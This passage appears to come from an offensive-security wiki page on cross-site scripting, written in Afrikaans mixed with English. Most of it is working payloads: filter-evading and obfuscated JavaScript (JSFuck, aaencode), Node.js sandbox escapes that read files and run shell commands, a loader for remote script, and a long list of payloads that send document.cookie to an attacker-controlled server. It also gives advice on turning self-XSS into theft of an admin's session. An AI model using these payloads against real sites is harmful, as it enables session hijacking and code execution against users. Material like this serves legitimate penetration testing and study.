[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Arbitrêre funksie-oproep (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
Daar is JS code wat onveilig data gebruik wat deur ’n aanvaller beheer word, soos location.href. ’n Aanvaller kan dit misbruik om ewekansige JS-kode uit te voer.
As gevolg van die uitgebreide verduideliking van DOM vulnerabilities is na hierdie bladsy verskuif:
Daar sal jy ’n gedetailleerde uiteensetting vind van wat DOM vulnerabilities is, hoe dit veroorsaak word, en hoe om dit uit te buit.
Moet ook nie vergeet dat jy aan die einde van die genoemde pos ’n verduideliking oor DOM Clobbering attacks sal vind.
Opgradering van Self-XSS
Cookie XSS
As jy ’n XSS kan trigger deur die payload in ’n cookie te stuur, is dit gewoonlik ’n self-XSS. As jy egter ’n kwetsbare subdomein vir XSS vind, kan jy hierdie XSS misbruik om ’n cookie in die hele domein in te spuit en sodoende die cookie XSS in die hoofdomein of ander subdomeine (dié wat vatbaar is vir cookie XSS) te trigger. Hiervoor kan jy die cookie tossing attack gebruik:
Jy kan ’n uitstekende misbruik van hierdie tegniek in hierdie blogpos vind.
Stuur jou sessie aan die admin
Miskien kan ’n gebruiker sy profiel met die admin deel, en as die self XSS in die gebruiker se profiel is en die admin dit oopmaak, sal hy die kwesbaarheid trigger.
Sessie-spieëling
As jy ’n self XSS vind en die webblad het ’n sessie-spieëling vir administrateurs — byvoorbeeld kliënte kan om hulp vra en sodat die admin jou kan help, sal hy sien wat jy in jou sessie sien, maar vanaf sy eie sessie.
Jy kan die admin jou self XSS laat trigger en sy cookies/sessie steel.
Ander omseilings
Bypassing sanitization via WASM linear-memory template overwrite
Wanneer ’n webapp Emscripten/WASM gebruik, woon konstante stringe (soos HTML format stubs) in skryfbare linear memory. ’n Enkel in‑WASM overflow (bv. ongekontroleerde memcpy in ’n edit‑pad) kan aangrensende strukture korrupteer en skryfaksies na daardie konstantes herlei. Oorskryf van ’n templaat soos “” verander gesaniteerde insette in ’n JavaScript handler‑waarde en lewer onmiddellike DOM XSS by render.
Kyk na die toegewyde bladsy met exploit-werkvloei, DevTools memory helpers, en verdedigings:
Wasm Linear Memory Template Overwrite Xss
Genormaliseerde Unicode
Jy kan nagaan of die gereflekteerde waardes Unicode‑genormaliseer word op die bediener (of aan die kliëntkant) en hierdie funksionaliteit misbruik om beskerming te omseil. Vind ’n voorbeeld hier.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
As gevolg van RoR mass assignment word aanhalingstekens in die HTML ingevoeg en dan word die aanhalingsbeperking omseil en ekstra velde (onfocus) kan binne die tag bygevoeg word.
Vormvoorbeeld (from this report), as jy die payload stuur:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
Die paar “Key”,“Value” sal soos volg teruggegee word:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Dan sal die onfocus attribute ingevoeg word en XSS sal plaasvind.
Spesiale kombinasies
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS with header injection in a 302 response
As jy agterkom dat jy inject headers in a 302 Redirect response kan, kan jy probeer om die browser arbitrary JavaScript te laat uitvoer. Dit is nie eenvoudig nie, aangesien moderne browsers die HTTP response body nie interpreteer as die HTTP response status code 302 is nie, so net ’n cross-site scripting payload is nutteloos.
In this report and this one kan jy lees hoe jy verskeie protocols binne die Location header kan toets en sien of enige van hulle die browser toelaat om die XSS payload binne die body te inspekteer en uit te voer.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.
Slegs letters, syfers en punte
As jy die callback wat javascript gaan uitvoer kan aandui, beperk tot slegs daardie karakters. Read this section of this post om te vind hoe om hierdie gedrag te misbruik.
Geldige <script> Content-Types vir XSS
(From here) If you try to load a script with a content-type such as application/octet-stream, Chrome will throw following error:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Die enigste Content-Types wat Chrome sal ondersteun om ’n loaded script te laat loop, is dié binne die const kSupportedJavascriptTypes van https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Skrip-tipes vir XSS
(Van here) Dus, watter tipes kan aangedui word om ’n skrip te laai?
<script type="???"></script>
Die antwoord is:
- module (standaard, niks om te verduidelik)
- webbundle: Web Bundles is ’n funksie waarmee jy ’n klomp data (HTML, CSS, JS…) saam in ’n
.wbn-lêer kan verpak.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Laat toe om die import-sintaksis te verbeter
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
Hierdie gedrag is in this writeup gebruik om ’n biblioteek na eval te herlei; deur dit te misbruik kan dit XSS veroorsaak.
- speculationrules: Hierdie funksie is hoofsaaklik ontwerp om sekere probleme wat deur voorrendering veroorsaak word op te los. Dit werk soos volg:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Web Inhoudstipes vir XSS
(Van here) Die volgende inhoudstipes kan XSS in alle blaaiers uitvoer:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? nie in die lys nie maar ek dink ek het dit in ’n CTF gesien)
- application/rss+xml (uit)
- application/atom+xml (uit)
In ander blaaiers kan ander Content-Types gebruik word om arbitrêre JS uit te voer, kyk: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Inhoudstipe
As die bladsy ’n text/xml content-type terugstuur, is dit moontlik om ’n naamruimte aan te dui en arbitrêre JS uit te voer:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Spesiale Vervangingspatrone
Wanneer iets soos "some {{template}} data".replace("{{template}}", <user_input>) gebruik word, kan die aanvaller special string replacements gebruik om te probeer sekere beskermings te omseil: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Byvoorbeeld, in this writeup, is dit gebruik om ’n JSON-string te ontsnap binne ’n script en arbitrêre kode uit te voer.
Chrome Cache to XSS
XS Jails Escape
As jy slegs ’n beperkte stel karakters het om te gebruik, kyk na hierdie ander geldige oplossings vir XSJail problems:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
As alles is undefined voordat onbetroubare code uitgevoer word (soos in this writeup) is dit moontlik om nuttige objekte “uit niks” te genereer om die uitvoering van willekeurige onbetroubare code te misbruik:
- Deur import() te gebruik
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- Indirekte toegang tot
require
According to this word modules deur Node.js binne ’n funksie toegedraai, soos volg:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
Daarom, as ons van daardie module ’n ander funksie kan aanroep, is dit moontlik om arguments.callee.caller.arguments[1] van daardie funksie te gebruik om toegang tot require te kry:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
Op ’n soortgelyke wyse as die vorige voorbeeld is dit moontlik om toegang tot die wrapper van die module te kry en die require funksie te bekom deur use error handlers:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- Verskillende obfuscations op een bladsy: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- Meer gesofistikeerde JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS algemene payloads
Verskeie payloads in 1
Iframe-val
Laat die gebruiker in die bladsy navigeer sonder om die iframe te verlaat en steel sy aksies (insluitend inligting wat in vorms gestuur word):
Haal Cookies op
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
Tip
Jy sal nie vanaf JavaScript toegang tot die cookies kan kry nie as die HTTPOnly flag in die cookie gestel is. Maar hier is some ways to bypass this protection as jy gelukkig genoeg.
